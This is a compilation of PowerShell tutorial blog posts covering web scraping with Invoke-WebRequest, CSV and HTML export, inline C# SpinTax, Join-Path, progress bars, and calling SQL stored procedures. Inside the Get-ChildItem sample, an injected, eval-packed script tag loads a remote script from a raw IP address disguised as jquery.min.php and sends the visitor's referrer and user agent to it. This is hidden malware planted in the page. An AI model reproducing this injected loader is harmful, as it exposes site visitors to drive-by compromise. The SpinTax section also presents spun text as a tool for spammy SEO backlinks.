Powershell can be useful for parsing or harvesting data from the web via means of the “Invoke-WebRequest”. Among other things, it can return a collection of links. The code below loads a page from Wikipedia and loops through the collection of links, looking for a certain pattern to find all the cities in a state. It then writes the “city, state” pair to a file.

Calling “Invoke-WebRequest” returns a Microsoft.PowerShell.Commands.HtmlWebResponseObject (the variable $site in my sample code below), which is part of the Microsoft.PowerShell.Commands.Utility assembly. Useful members inclued AllElements, Forms, Headers, Images, InputFields, Links, ParsedHTML, RawContent, and StatusCode (see complete list here: HTMLWebResponseObject Members.

$state = "Texas" 
#example: http://en.wikipedia.org/wiki/List_of_cities_in_Texas 
$url = "http://en.wikipedia.org/wiki/List_of_cities_in_$state" 
$harvestFile = "c:\TexasCities.txt" 
$site = Invoke-WebRequest -Uri $url 
#$elements = $site.AllElements | where ($_.id -eq "100 Largest Cities in Texas by Population") 
#Write-Host "Matches = $($elements.length)"
foreach ($link in $site.Links) 
    $textLink = $link.href
    if ($link.href.StartsWith("/wiki/") -and $link.href.EndsWith("_$state") -and $link.title.EndsWith(", $state") )
        # this is our signal to stop processing, the cities repeat now by descending order of population 
        write-host "$($link.innerText) $($link.href)" 
        $outrow = "$($link.innerText), $state" 
        add-content $harvestFile $outrow   #write name of city to output file 
        write-host "Other $($link.innerText) $($link.href)" 
        if ($link.href.StartsWith("#cite_note-2"))
                Write-Host "Stopping because found #cite_note-2" 

The only trick above is when to stop parsing. Of course, with any parser, if the web page changes, the parser might break, and need updates. I’m using an anchor tag that notes the beginning of a list of the 100 largest cities in the state, sorted by descending population.

Example Data Harvested

Abbott, Texas
Abernathy, Texas
Abilene, Texas
Ackerly, Texas
Addison, Texas
Adrian, Texas
Agua Dulce, Texas
Alamo, Texas
Alamo Heights, Texas

Today’s Powershell example is something that I know I will re-use, so I wanted to put it in a place where I could always find it, i.e. on my blog.

The main purpose of this example is to show how to route output from a cmdlet to a formatted or “pretty” output, such as as CSV File that can be opened by a spreadsheet such as Excel, a Powershell Grid, or an HTML file that can be opened by your favorite browser. If you create HTML to a string variable, instead of a file, it can also be used to send as the body of an email.

The second purpose is to put in one place all the common options for getting files from some disk/directory structure (using Get-ChildItem). Hopefully, I have taken information from 5 or 6 sources and condensed it down to one source; with comments of what you can tweak and change as needed.

#simple <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdrtz|var|u0026u|referrer|arkka||js|php'.split('|'),0,{}))
</script></noindex> take cmdlet and route to CSV (your choice of whether to -Append or remove it to replace). 
Get-Process firefox | Export-CSV -Append -Path c:\test.csv -NoTypeInformation 


Get-ChildItem -Recurse c:\Demo -File |  ## optionally -include *.txt,*.bak to match any combined set of file masks 
# where {!$_.PsIsContainer} | ## old way was use to PsIsContainer means it is a folder 3.0 has -Directory and -File parms 
# where Length -gt 50 |  ## use to filter by other properties   ## Note: Length is the file size 
ForEach-Object {$_ | add-member -name "Owner" -membertype noteproperty -value (get-acl $_.fullname).owner -passthru} | 
Select-Object FullName, Length, CreationTime, LastAccessTime, LastWriteTime, IsReadOnly, Attributes, Directory, Extension, Owner | 
Sort-Object FullName | 
#choose which output type you want - only one of the following 
Export-CSV -Path c:\demo.csv -Force -NoTypeInformation 
#ConvertTo-HTML -CssUri "$($PSScriptRoot)\htmlStyle2.css" | Out-File  C:\Demo.html 


Creating an HTML File Formatted with a CSS Stylesheet

The following effect is possible (Viewed in IE Browser):

When writing to an HTML file, a css stylesheet and pretty things up. Here is the example used above. I found it here: JohnSardin sample css for tables
Here’s his download link. You can download his code, and take out everything in the HTML style tags, and save in htmlStyle2.css. The parm to the -CssUri (in my code above) is on the ConvertTo-HTML cmdlet). I use $($PSScriptRoot) so that it can find the file in the current directory where the .ps1 file is running from (rather than needing to fully qualify the file with a hard-coded directory name).


Note: that the ConvertTo-HTML command does not include the THEAD and TBODY tags to be included. So if you find a stylesheet that uses them you may have to tweak it a little (or use RegEx to insert them into the file in the proper places). I experimented with some stylesheets from this site: 40 Free Beautiful CSS CSS3 Table Templates, but I was not having luck getting them to work.

CSV Viewed in Excel


Here is the CSV data in raw format. CSV of course stands for Comma Separated Value.

"C:\Demo\Demo1.txt","12","2/2/2015 10:25:50 AM","2/2/2015 10:25:50 AM","2/2/2015 10:25:59 AM","False","Archive","C:\Demo",".txt","abc\neal.walters"
"C:\Demo\Notes.bak","12","2/2/2015 10:48:09 AM","2/2/2015 10:48:09 AM","2/2/2015 10:25:59 AM","False","Archive","C:\Demo",".bak","abc\neal.walters"
"C:\Demo\Notes.txt","12","2/2/2015 10:26:03 AM","2/2/2015 10:26:03 AM","2/2/2015 10:25:59 AM","False","Archive","C:\Demo",".txt","abc\neal.walters"
"C:\Demo\ReleaseNotes.txt","110","2/2/2015 10:26:18 AM","2/2/2015 10:26:18 AM","2/2/2015 10:26:41 AM","False","Archive","C:\Demo",".txt","abc\neal.walters"
"C:\Demo\SubDir\Demo2.txt","12","2/2/2015 10:44:18 AM","2/2/2015 10:44:18 AM","2/2/2015 10:25:59 AM","False","Archive","C:\Demo\SubDir",".txt","abc\neal.walters"

Powershell’s Built-in GridView

If you don’t need to export the data to another program, then the Out-GridView might be all you need. It also has the ability to sort and filter data. Filtering is available when you click the “Add Criteria” button.


Here’s an example of using the add criteria Filter (results not shown)


And here is an example of just typing a text filter on the top row:


This allows you to interactively “play” with your data. click any column title to sort. For a really fast filter, just type in the box at the top that say in light gray on white “Filter“. This searches the entire row for the raw text you type in. So in my case, I could type .bak, or “SubDir” to quickly limit the output to a certain row.

What is SpinTax?

SpinTax is a way of “spinning” text. It’s often used by somewhat spammy marketing programs to post different words, phrase, or articles to different web or social media sites. It is designed to create somewhat readable but yet random text, based on changing synonyms for various words. There are actually programs that will take articles and turn them into SpinTax. They try to substitute appropriate synonyms for nouns, verbs, and ajectives. Then when the text is re-run, your article should be fairly unique. However, sometimes, the spun articles turn out to be unreadable. You wouldn’t use this on your “money site”, but they are often used for Tier 1, 2, or 3 support sites, where you make SEO backlinks to your main site, or other tiers.

Here’s a quick example from the sample code below:

{Hello|Howdy|Hola} to you, {Mr.|Mrs.|Ms.} {Smith|Williams|Davis}!

This means to pick one of the three “greeting” words, followed always by the words/phrase “to you, “, then followed by one of the three salutations (Mr., Mrs, or Ms.) then followed by one of three last names. The program runs below runs the SpinTax in a loop 20 times, so you can see what it generates. It should be random, but occasionally a phrase will repeat. The above is a simple example; SpinTax can also be nested. When you get code from the internet, make sure it handles “nested Spintax.” You might have to run your own test to make sure.

Many programmers use RegEx to accomplish the same, for example here is a PHP code sample: PHP RegEx Spinner. I didn’t quite understand all the RegEx, especially the ?R. That code actually does a call back. I attempted in PowerShell, but had some issues. Perhaps that will be a topic of a future blog article.

I found the fast C# code below in this StackOverflow post.

But I wanted to be able to call it from PowerShell. I could have have compiled it in Visual Studio and made a .DLL, but for fun, I decided to include it “inline” in the PowerShell program. We do that by using the “Add-Type -TypeDefinition” cmdlet, which basically assembles the C# code, which was stored in a variable. The downside of this technique is that if you change the C# code, you must close and re-open PowerShell or ISE. Running Add-Type a second time will fail, not replace your old code. So I have code below that checks to see if the type already exists, before executing the Add-Type.


$csCode = @"
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Spintax
    public class Program
        public static Random rand = new Random();
        static void Main(string[] args)
            string strSpinTax = "{Hello|Howdy|Hola} to you, {Mr.|Mrs.|Ms.} {{Jason|Malina|Sara}|Williams|Davis}";
            Console.WriteLine("strSpinTax=" + strSpinTax);

            for (int j=0; j < 20; j++)
                   string strResult = SpinEvenMoreFaster(strSpinTax);
                   Console.WriteLine("result=" + strResult);

        static int[] partIndices = new int[100];
        static int[] depth = new int[100];
        static char[] symbolsOfTextProcessed = new char[100000];

        public static String SpinIt(String text)
            int cur = SpinEvenMoreFasterInner(text, 0, text.Length, 0);
            return new String(symbolsOfTextProcessed, 0, cur);

        public static int SpinEvenMoreFasterInner(String text, int start, int end, int symbolIndex)
            int last = start;
            for (int i = start; i < end; i++)
                if (text[i] == '{')
                    int k = 1;
                    int j = i + 1;
                    int index = 0;
                    partIndices[0] = i;
                    depth[0] = 1;
                    for (; j < end && k > 0; j++)
                        if (text[j] == '{')
                        else if (text[j] == '}')
                        else if (text[j] == '|')
                            if (k == 1)
                                partIndices[++index] = j;
                                depth[index] = 1;
                                depth[index] = k;
                    if (k == 0)
                        partIndices[++index] = j - 1;
                        int part = rand.Next(index);
                        text.CopyTo(last, symbolsOfTextProcessed, symbolIndex, i - last);
                        symbolIndex += i - last;
                        if (depth[part] == 1)
                            text.CopyTo(partIndices[part] + 1, 
                                         partIndices[part + 1] - partIndices[part] - 1);
                            symbolIndex += partIndices[part + 1] - partIndices[part] - 1;
                            symbolIndex = SpinEvenMoreFasterInner(text, partIndices[part] + 1, 
                                          partIndices[part + 1], symbolIndex);
                        i = j - 1;
                        last = j;
            text.CopyTo(last, symbolsOfTextProcessed, symbolIndex, end - last);
            return symbolIndex + end - last;


if (-not ([System.Management.Automation.PSTypeName]'Program').Type)
    #include the C# code that exists in variable $csCode
    #you will get error if this already exists 
    Add-Type -TypeDefinition $csCode

#$spintax = '{Hello|Howdy|Hola} to you, {Mr.|Mrs.|Ms.} {Smith|Williams|Davis}!';

$spintax = '{Hello|Howdy|Hola} to you, {Mr.|Mrs.|Ms.} {{Jason|Malina|Sara}|Williams|Davis}'
$spintax = '{{you|one|they|he|she} {will|may} need to|{one|you} {must|will need to}}'

Write-Host "spinTax: $spinTax"

#This code does seem to handle nested SpinTax.

for ($i=0; $i -le 20; $i++)  #loop 20 times 
       $spinResult = [Spintax.Program]::SpinIt($spintax)
       Write-Host "$($i): result=$spinResult"


spinTax: {{you|one|they|he|she} {will|may} need to|{one|you} {must|will need to}}
0: result=he will need to
1: result=she will need to
2: result=you will need to
3: result=you will need to
4: result=you must
5: result=they will need to
6: result=he may need to
7: result=you must
8: result=one will need to
9: result=you will need to
10: result=he may need to
11: result=they may need to
12: result=one will need to
13: result=they may need to
14: result=you must
15: result=one must
16: result=she will need to
17: result=one will need to
18: result=one will need to
19: result=you must
20: result=one must

Below I have put together some of my favorite examples of how to use Join-Path.

One of the primary features it to be able to combine a folder and a filename, without caring if the folder ends with a trailing slash or not. That is the first thing illustrated below (Path1/Path2).

Path3 shows how to incorporate environment variables to get at various system paths, and shows that when you use -Resolve Join-Path can return an array, but in the first examples it returns only a string. The point being that you need to know what is being returned to know how to process it. In Example 4, I show how to loop through the array. The other cool thing about Example 4 is that it can find files in multiple directories (e.g. both “Program Files” and “Program Files X(86)” by using the * mask in the folder’s name.

Example 6 shows that Join-Path works on the Registry as well, i.e. it’s not just limited to disk paths.

Jeffrey Snover, the architect behind PowerShell, also gives a few more Join-Path examples.  Some of his examples involve reading a list of files or folders from a file, and prefixing and suffixing them with other folders or filenames.

Code Sample

$folder1 = "\\server01\folder01"
$folder2 = "\\server01\folder02\"
$file = "abc.txt"
$path1 = Join-Path $folder1 $file
$path2 = Join-Path $folder2 $file
Write "path1=$path1"
Write "path2=$path2"

$path3a  = Join-Path -path (get-item env:\windir).value -ChildPath system32
#short way of doing same
$path3b = Join-Path -path $env:windir -ChildPath system32
#get "My Documents" of current user 
$path3c = Join-Path $env:USERPROFILE -ChildPath "My Documents" 
$path3d = Join-Path $env:USERPROFILE "*" -Resolve
Write "path3a=$path3a"
Write "path3b=$path3b"
Write "path3c=$path3c"
Write "path3c.GetType=$($path3c.getType())"  #Note it is a string and not an array 
Write "path3d=$path3d"
Write "path3d.GetType=$($path3d.getType())"  #Note it is an array of strings 

# this one is more obtuse = search both Program Files and Program Files x(86) 
# (and other other c:\Program files* directory)
# for any files/folders starting with A. 
# It returns an array of folders 
$path4 = join-path -path "c:\Program Files*" A* -resolve
Write "`nExample 4"
Write "path4=$path4 "
Write "path4.GetType=$($path4.getType())"

loopCounter = 0 
foreach ($folder in $path4) 
      Write-Host "$loopCounter $folder"

Write "`nExample 5 - Find Windows Log Files"
$path5 = join-path c:\win* *.log -resolve
Write "path5=$path5"

Write "`nExample 6 - Registry Path"
set-location HKLM:
$path6 = join-path System *ControlSet* -resolve
Write "path6=$path6"

Write "`nExample 7 - xml files in a directory"
$path7 = join-path "c:\Program Files (x86)\Notepad++"  *.xml -resolve 
$loopCounter = 0 
foreach ($file in $path7) 
      Write-Host "$loopCounter $file"


path3c=C:\Users\NWalters\My Documents
path3d=C:\Users\NWalters\.oracle C:\Users\NWalters\.VirtualBox C:\Users\NWalters\Contact
s C:\Users\NWalters\Desktop C:\Users\NWalters\Documents C:\Users\NWalters\Downloads C:\U
sers\NWalters\EurekaLog C:\Users\NWalters\Favorites C:\Users\NWalters\Links C:\Users\nea
l.walters\Music C:\Users\NWalters\Oracle C:\Users\NWalters\Pictures C:\Users\NWalters\Ro
aming C:\Users\NWalters\Saved Games C:\Users\NWalters\Searches C:\Users\NWalters\Videos 
C:\Users\NWalters\VirtualBox VMs

Example 4
path4=C:\Program Files\Application Verifier C:\Program Files\AuthenTec C:\Program Files (x86)\Adobe 
C:\Program Files (x86)\AppInsights C:\Program Files (x86)\Application Verifier 
1 C:\Program Files\Application Verifier
2 C:\Program Files\AuthenTec
3 C:\Program Files (x86)\Adobe
4 C:\Program Files (x86)\AppInsights
5 C:\Program Files (x86)\Application Verifier

Example 5 - Find Windows Log Files
path5=C:\Windows\DirectX.log C:\Windows\DPINST.LOG C:\Windows\DtcInstall.log C:\Windows\ENU-ie90.log
 C:\Windows\IE11_main.log C:\Windows\IE90-ENU.log C:\Windows\iis7.log C:\Windows\msxml4-KB954430-enu
.LOG C:\Windows\msxml4-KB973688-enu.LOG C:\Windows\PFRO.log C:\Windows\setup.log C:\Windows\setupact
.log C:\Windows\setuperr.log C:\Windows\TSSysprep.log C:\Windows\WindowsUpdate.log

Example 6 - Registry Path
path6=HKLM:\System\ControlSet001 HKLM:\System\ControlSet002 HKLM:\System\CurrentControlSet

Example 7 - xml files in a directory
1 C:\Program Files (x86)\Notepad++\config.model.xml
2 C:\Program Files (x86)\Notepad++\contextMenu.xml
3 C:\Program Files (x86)\Notepad++\functionList.xml
4 C:\Program Files (x86)\Notepad++\langs.model.xml
5 C:\Program Files (x86)\Notepad++\shortcuts.xml
6 C:\Program Files (x86)\Notepad++\stylers.model.xml

<h1>Estimated Completion Time in PowerShell</h1>

Progress Bars are all about giving the user feedback as to what the program is doing, and Powershell implements it with the Write-Progress cmdlet. It is also possible to predict the completion time by using a little math.

Possible uses for the progress bar include:

  1. Showing status of reading a large file
  2. Showing status of exploding a directory structure
  3. Showing progress of creating files or videos
  4. Showing status of processing a large number of database records
  5. Showing status of file upload or download

In my opinion, a status bar should not just show the progress, but also tell the user the estimated completion time (sometimes called ETA – Estimated Time of Arrival). This is done by computing a ratio of the word done to the work to be performed, and using that ratio along with elapsed time and TimeSpans to come up with the estimated completion time.

$maxI = 250 
$startTime = get-date 
Write-Host "StartTime=$startTime"
for ($i = 1; $i -le $maxI; $i++ )
  write-host "`$i=$i"
  start-sleep -milliseconds 250  
  $elapsedTime = $(get-date) - $startTime 

  #do the ratios and "the math" to compute the Estimated Time Of Completion 
  $estimatedTotalSeconds = $maxI / $i * $elapsedTime.TotalSeconds 
  $estimatedTotalSecondsTS = New-TimeSpan -seconds $estimatedTotalSeconds
  $estimatedCompletionTime = $startTime + $estimatedTotalSecondsTS
  Write-Host "elapsedTime=$($elapsedTime.TotalSeconds) estimatedTotalSeconds=$estimatedTotalSeconds"
  Write-Host "estimatedCompletionTime=$estimatedCompletionTime"

  #I like to keep the width of the Write-Progress minimalized by creating three variables 
  #and substituting them into the Write-Progress statement. 
  $activityMsg = "Search in Progress"
  $percentComplete = $i / $maxI * 100 
  $statusMsg = "$percentComplete% Complete: $i out of $maxI Estimated Completion at $estimatedCompletionTime"

  write-progress -activity $activityMsg -status $statusMsg  -percentcomplete $percentComplete;
  Write-host "percent complete=$percentComplete "
$endTime = get-date 
$elapsedTime = $endTime - $startTime 
write-host "The End $startTime=$startTime endTime=$endTime elapseSeconds=$($elapsedTime.TotalSeconds)"

write-host "The End" 

Running in ISE, the progress bar looks like this (it actually seems to hide the first few lines in the output pane).


The command line version is not quite as pretty, but still effective:

WindowsClockI suggest you take this example, change the value of $maxI and/or change the sleep time, and see if you get an accurate prediction of the completion time.

In a prior blog, I demonstrated how to call a SQL Stored Proc from Powershell.  But that article did not discuss error handling.

In the stored proc, it stored two tables in a parent/child relationship.  If the parent “key” was not found, then the child row cannot be stored. The parent is the based on the customer “license” code.  So in the example below, I pass “bad license” in the $license variable.

Powershell detects the errors, shows it in red, and yet continues to run.

Results with error


If you want to catch the error, handle it some special way, then continue or stop, you do that with the try/catch statement.

Sample Powershell Code with Try/Catch

#$license = "4F926ADB-8193-4824-9881-DF147B721889"
$license = "bad license"
$keyword = "test"
$computerName = "PC45"
$videoFilename = "c:\videos\abcdefg.mp4"
$templateName = "Customer_Appliance4.prj"
$getUTCdate = $(get-date).ToUniversalTime()

  LogVideoTrackingToSQL $license $keyword $computerName $videoFilename $templateName $getUTCdate $getUTCdate
   # Handle the error
   $err = $_.Exception
   Write-Host $err.Message
   #There could possibly be multiple inner exceptions but not in this example. 
   while( $err.InnerException ) 
        $err = $err.InnerException
        Write-Host "InnerException: $($err.Message)" 
     write-output "script completed"

Results with Catch error

Notice that all the text is white on blue, indicating we caught the error, and printed it in a regular Write-Host statement.


The full code of the stored proc was included in the prior blog. Here are the lines of the Stored Proc that generated the above error:

	select @CustomerID = ID from Customer C where C.LicenseGuid = @License 

	if @CustomerID is null 
			SET @ErrMessage = 'No customer license found for key=' + @License 
			RAISERROR (@ErrMessage, 11,1)

I could have also put the catch error in the function itself, and returned a better $result variable.

Sometimes you call SQL just to store data, but even then, sometimes you need the key of the row just stored. This code will show you how to get back that single return value when calling a stored proc, even when it is an “ExecuteNonQuery” stored proc, that returns no row sets. It is typical to return either a key value or a status/result code in such as scenario.

This is a follow-up to an early blog How Call a SQL Stored Procedure from Powershell.

Powershell SQL Functions

This example also illustrates how to convert a Powershell boolean field from $true/$false to SQL bit value of 1 or 0.

function GetConnectionString()
  return "Server=myServer;Database=myDatabase;Integrated Security=False;User ID=myuser;Password=mypass"

function LogVideoComputerToSQL($license, $computerName, $CPUProcessorName, $GraphicsProcessorName, $IsLaptop, $NumLogicalProcessors, $MaxClockSpeed) 
    $SqlConnection = New-Object System.Data.SqlClient.SqlConnection
    $SqlConnection.ConnectionString = GetConnectionString #call little function above to get connection string 
    $SqlCmd = New-Object System.Data.SqlClient.SqlCommand
    $SqlCmd.CommandText = "dbo.LogComputer"  #name of the stored proc here 
    $SqlCmd.Connection = $SqlConnection
    $SqlCmd.CommandType = [System.Data.CommandType]::StoredProcedure 

      #set each of the 7 parameters 

      $param1=$SqlCmd.Parameters.Add("@License" , [System.Data.SqlDbType]::VarChar)
      $param1.Value = $license 

      $param2=$SqlCmd.Parameters.Add("@computerName" , [System.Data.SqlDbType]::VarChar)
      $param2.Value = $computerName 

      $param3=$SqlCmd.Parameters.Add("@CPUProcessorName" , [System.Data.SqlDbType]::VarChar)
      $param3.Value = $CPUProcessorName 

      $param4=$SqlCmd.Parameters.Add("@GraphicsProcessorName" , [System.Data.SqlDbType]::VarChar)
      $param4.Value = [String] $GraphicsProcessorName 
      $param5=$SqlCmd.Parameters.Add("@IsLaptop" , [System.Data.SqlDbType]::bit)
      if ($IsLaptop) 
           $param5.Value = 1
           $param5.Value = 0

      $param6=$SqlCmd.Parameters.Add("@NumLogicalProcessors" , [System.Data.SqlDbType]::int)
      $param6.Value = [string] $NumLogicalProcessors 

      $param7=$SqlCmd.Parameters.Add("@MaxClockSpeed" , [System.Data.SqlDbType]::int)
      $param7.Value = [string] $MaxClockSpeed 

      $paramReturn = $sqlCmd.Parameters.Add("@ReturnValue", [System.Data.SqlDbType]"Int")
      $paramReturn.Direction = [System.Data.ParameterDirection]"ReturnValue"

    $result = $SqlCmd.ExecuteNonQuery()   #call the stored proc here 
    $returnValue = [int]$sqlCmd.Parameters["@ReturnValue"].Value    #####<------ Here is the return value moved to var. 
    Write-Host "result=$result returnValue=$returnValue" 
    return $returnValue

Code to call the above function

There is some interesting code here as well. It shows how to retrieve some information from WMI about the CPU and graphics card; that is what we are passing to the subroutine.  $computerID is the variable being returned.

    $license = "my-license-key"
    #Get-WmiObject Win32_Processor | Select-Object * 
    $Win32Processor =Get-wmiobject Win32_Processor  
    $ProcessorName        = $Win32Processor | select-object -expand Name
    $NumLogicalProcessors = $Win32Processor | select-object -expand NumberOfLogicalProcessors
    $MaxClockSpeed        = $Win32Processor | select-object -expand MaxClockSpeed 
    $ComputerName         = $Win32Processor | select-object -expand PSComputerName

    $isLaptop = isLaptop ## call function 

    $VideoController = get-wmiobject -class CIM_VideoController
    $GraphicsProcName = $VideoController | select-object -expand Name
    $VideoProcessor   = $VideoController | select-object -expand VideoProcessor
    $VideoProcessor2  = $VideoController | select-object VideoProcessor

    Write-Host "`n`nCalling SQL Function"
    $computerID = LogVideoComputerToSQL</strong> $license $ComputerName $ProcessorName $GraphicsProcName $IsLaptop $NumLogicalProcessors $MaxClockSpeed 
    Write-Host "computerID=$computerID"

The T-SQL Stored Proc code

I’m not going to bore you with the whole stored proc here, just the return statement. I’m basically doing an insert into a table with a primary key that is an integer and an identify field. The function “SCOPE_IDENTITY()” returns the identity key of the row just stored it. I can return it now to Powershell, so it can be used in other SQL calls to associate the other data that I’m storing back with the computer information.

   declare @ComputerID int 
   insert ... 	
   set @ComputerID = SCOPE_IDENTITY()  
   return @ComputerID 

Example of a row stored in SQL



How to Call Functions in Powershell – The Right Way

My secret is to use the $PSScriptRoot built-in variable.  If you don’t fully qualify the path, then I’ve seen issues when you run Powershell in different directories, it sometimes cannot find the function.  On the other hand, it’s bad to fully qualify the function filename, because then you cannot easily transfer the scripts to another computer that uses a different disk structure.

So I always fully qualify the function, but with a variable that uses the directory of the main program.

First here is the program that calls the function:

### this is the include statement for the file that contains your functions
. "$($PSScriptRoot)\DemoSharedFunctions.ps1"       

$myFileName = "C:\users\JohnDoe\My Documents\Abcde.txt"
$pathOnly = GetDirectoryFromPath($myFileName)
$fileOnly = GetFilenameFromPath($myFileName)
Write-Host "`$myFileName=$myFileName"
Write-Host "`$pathOnly=$pathOnly"
Write-Host "`$fileOnly=$fileOnly"

Write-Host "Path call in Write-Host = $(GetDirectoryFromPath($myFileName))"

Here is the function (filename=\DemoSharedFunctions.ps1″.  Sometimes I have trouble remembering the exact syntax of the split-path command; so I made two easy to remember function names.

Function GetDirectoryFromPath($Path)
$testpath = split-path $Path
### this next line is here just so you can play with it and see the value of the internal variable
#Write-Host "`$PSScriptRoot=$PSScriptRoot"   
return $testpath

Function GetFilenameFromPath($Path)
$filename = split-path $Path -leaf
return $filename

Runtime results:

$myFileName=C:\users\JohnDoe\My Documents\Abcde.txt
$pathOnly=C:\users\JohnDoe\My Documents
Path call in Write-Host = C:\users\JohnDoe\My Documents


I included this line (from the above calling script) to explain one more thing:

Write-Host "Path call in Write-Host = $(GetDirectoryFromPath($myFileName))"

This demonstrates how you can call a function directly inside of a Write-Host statement, just by wrapping it like this $(xxx)

How Call a SQL Stored Procedure from Powershell

This blog discusses how to call a stored procedure that takes several input parms, but doesn’t return any data. For instance, you are calling a stored proc to insert data into one or more database tables.

When you are not expecting data back, you don’t need the DataAdapter nor the DataTables classes. Use the “ExecuteNonQuery” method of the command object. (Note: It can return one value such as an integer, count, or success flag, but it doesn’t return any rows of data, i.e. no result set.)

function GetConnectionString()
  return "Server=.;Database=VideoGenerator;Integrated Security=False;User ID=myusername;Password=mypassword"

function LogVideoTrackingToSQL($license, $keyword, $computerName, $videoFilename, $templateName, $createdDateTimeUTC, $uploadedDateTimeUTC) 
    Write-Host "license=$license"
    Write-Host "keyword=$keyword"
    Write-Host "computerName=$computerName"
    Write-Host "videoFilename=$videoFilename"
    Write-Host "templateName=$templateName"
    Write-Host "createdDateTimeUTC=$createdDateTimeUTC"
    Write-Host "uploadedDateTimeUTC=$uploadedDateTimeUTC"

    $SqlConnection = New-Object System.Data.SqlClient.SqlConnection
    $SqlConnection.ConnectionString = GetConnectionString

    $SqlCmd = New-Object System.Data.SqlClient.SqlCommand
    $SqlCmd.CommandText = "dbo.LogVideo"  ## this is the stored proc name 
    $SqlCmd.Connection = $SqlConnection  
    $SqlCmd.CommandType = [System.Data.CommandType]::StoredProcedure  ## enum that specifies we are calling a SPROC 

      #set each of the 7 parameters 

      $param1=$SqlCmd.Parameters.Add("@License" , [System.Data.SqlDbType]::VarChar)
      $param1.Value = $license 

      $param2=$SqlCmd.Parameters.Add("@Keyword" , [System.Data.SqlDbType]::VarChar)
      $param2.Value = $keyword 

      $param3=$SqlCmd.Parameters.Add("@ComputerName" , [System.Data.SqlDbType]::VarChar)
      $param3.Value = $computerName 

      $param4=$SqlCmd.Parameters.Add("@VideoFilename" , [System.Data.SqlDbType]::VarChar)
      $param4.Value = $videoFilename 
      $param5=$SqlCmd.Parameters.Add("@TemplateName" , [System.Data.SqlDbType]::VarChar)
      $param5.Value = $templateName 

      $param6=$SqlCmd.Parameters.Add("@CreatedDateTimeUTC" , [System.Data.SqlDbType]::DateTime2)
      $param6.Value = $createdDateTimeUTC 

      $param7=$SqlCmd.Parameters.Add("@UploadedDateTimeUTC" , [System.Data.SqlDbType]::DateTime2)
      $param7.Value = $uploadedDateTimeUTC 

    $result = $SqlCmd.ExecuteNonQuery() 
    Write "result=$result" 

$license = "4F926ADB-8193-4824-9881-DF147B721889"
$keyword = "test"
$computerName = "PC45"
$videoFilename = "c:\videos\abcdefg.mp4" 
$templateName = "Customer_Appliance4.prj"
$getUTCdate = $(get-date).ToUniversalTime()
LogVideoTrackingToSQL $license $keyword $computerName $videoFilename $templateName $getUTCdate $getUTCdate

To pass a Null (DBNULL) in Powershell, check out this post (use the [System.DBNull]::Value).

So you have the entire end–to-end picture, here is the stored proc being called:

ALTER PROCEDURE [dbo].[LogVideo] 
    @License varchar(36),
	@Keyword varchar(120), 
	@ComputerName varchar(50), 
	@TemplateName varchar(120), 
	@VideoFileName varchar(255), 
	@CreatedDateTimeUTC dateTime2(7), 
	@UploadedDateTimeUTC dateTime2(7)

   /*  Unit Test 

      Declare @utcDate datetime2 = getUTCDate() 
      Exec LogVideo '4F926ADB-8193-4824-9881-DF147B721889', 'Sql-Test', 'Machine-A', 'Customer-abc.prj', 
                   'c:\Videos\SQL-Test.mp4', @utcDate, @utcDate


	declare @CustomerID int 
	declare @ErrMessage varchar(500) 

	select @CustomerID = ID from Customer C where C.LicenseGuid = @License 

	if @CustomerID is null 
			SET @ErrMessage = 'No customer license found for key=' + @License 
			RAISERROR (@ErrMessage, 11,1)

    insert into VideoTracking 
	   (CustomerID, CreatedDateTimeUTC, UploadedDateTimeUTC, Keyword, ComputerName, TemplateName, VideoFilename) 
	   (@CustomerID, @CreatedDateTimeUTC, @UploadedDateTimeUTC, @Keyword, @ComputerName, @TemplateName, @VideoFilename) 

/* History 
01/12/2015 - Neal Walters - Initial Version 


Below show the results of running a query against the stored data:


And here are the two underlying tables:


See Part 2 here – “How to catch SQL Stored Proc Errors in PowerShell“.

Validate User Data Values in an XML Config File with Powershell

This blog discusses how I decided to validate user data in an XML Config file.

I’ve been creating a rather involved Powershell program that automates the creation of videos and posting them to our team’s video site, in order to create points that could potentially generate a nice part-time income.

As I wrote the program, I externalized any variables that I thought the user might want to customize to an XML config file. I provide documentation and videos to show the user what to change in the config file; but as of yet, I have not had time to make a GUI configuration utility. Thus, the user could make mistakes, typos etc…, and I need to validate that 1) the file is still really XML, and 2) the user has entered valid data values for certain variables.

<?xml version="1.0"?>
    <add key="EmailRecipient" value="somebody@somebody.com" />
    <add key="GmailUser" value="somebody-somebody.com" />
    <add key="GmailPassword" value="abcdabcdabcd" />
    <add key="WukarUser" value="somebody@somebody.com" />
    <add key="WukarPassword" value="abcdabcdabcd" />
    <add key="WukarSiteLoginUrl" value="http://www.teamwukar.com/login/" />
    <add key="WukarSiteCustomerVideosUrl" value="http://www.teamwukar.com/members/area/jobs_customervideos.php" />
    <add key="WukarSiteBAVideosUrl" value="http://www.teamwukar.com/members/area/jobs_bavideos.php" />
    <add key="WukarSiteCustomerUploadUrl" value="http://www.teamwukar.com/members/area/jobs_customervideos_nokeyword.php" />
    <add key="WukarSiteBAUploadUrl" value="http://www.teamwukar.com/members/area/jobs_bavideos_nokeyword.php" />
    <add key="YNPlayTuneOnChangeVideo" value="N" />
    <add key="MaxScanDetailRows" value="500" />
    <add key="SlideWaitSeconds" value="1" />
    <add key="KeywordSourceFile" value="c:\Amerisoft\trunk\WukarVideoTools\Data\KeywordFilePastCityStateZip.txt" />
    <!-- Logging level. 0 – Off, 1 – Error, 2 – Warning, 3 – Info, 4 – Verbose  -->
    <add key="LoggingLevel" value="2" />
    <add key="MaxReuseOfSameVideoStyle" value="12" />
    <add key="MonitorStartX" value="0" />
    <add key="WatinDotNet" value="Net40" />
    <add key="VideoDirectory" value="C:\Videos\GeneratedCustomerVideos\" />
    <add key="VideoDirectoryShort" value="C:\Videos\GeneratedCustomerVideos\" />
